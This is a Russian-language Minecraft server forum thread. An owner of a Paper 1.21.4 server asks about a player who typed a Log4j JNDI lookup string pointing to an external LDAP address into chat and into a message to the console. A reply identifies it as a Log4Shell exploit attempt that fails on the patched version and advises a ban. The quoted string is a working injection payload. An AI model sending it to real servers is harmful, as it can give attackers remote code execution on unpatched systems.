Обсудим Игрок пишет подозрительные команды в лс консоли

[ZikkyWay]

Всем доброго дня! Недавно произошла ситуация. На мой сервер зашёл новенький игрок и начал писать в чат подозрительные команды, вот:

В обычный чат:
$ {jndi:ldap://87.120.93.119:1389/}

И в лс консоли
/tell Console $ {jndi:ldap://87.120.93.119:1389/}
он смог написать в лс консоли, но вроде ничего не произошло. Я проверил, оказывается, игроки могли это делать, и пока разбираюсь, как это отключить...

Я совсем не понимаю, но погуглив, нашёл, что это связано с библиотеками и тд, чтобы получить к ним доступ? Это какая-то уязвимость? Я не программист, пожалуйста, подскажите, нужно ли мне что-то предпринять? Спасиба

Мой сервер Paper 1.21.4
Без велосити и банжи, на одном единственном сервере (сервер панельный)

 

[RareScrap]

Кто-то пытается эксплуатировать уязвимость Log4j для получения контроля над машиной

На 1.21.4 либа Log4j обновлена и подобная атака бесполезна. Однако игрока-хацкера рекомендую забанить за очумелые ручки.

 

[ZikkyWay]

Кто-то пытается эксплуатировать уязвимость Log4j для получения контроля над машиной

На 1.21.4 либа Log4j обновлена и подобная атака бесполезна. Однако игрока-хацкера рекомендую забанить за очумелые ручки.

Спасибо! Буду знать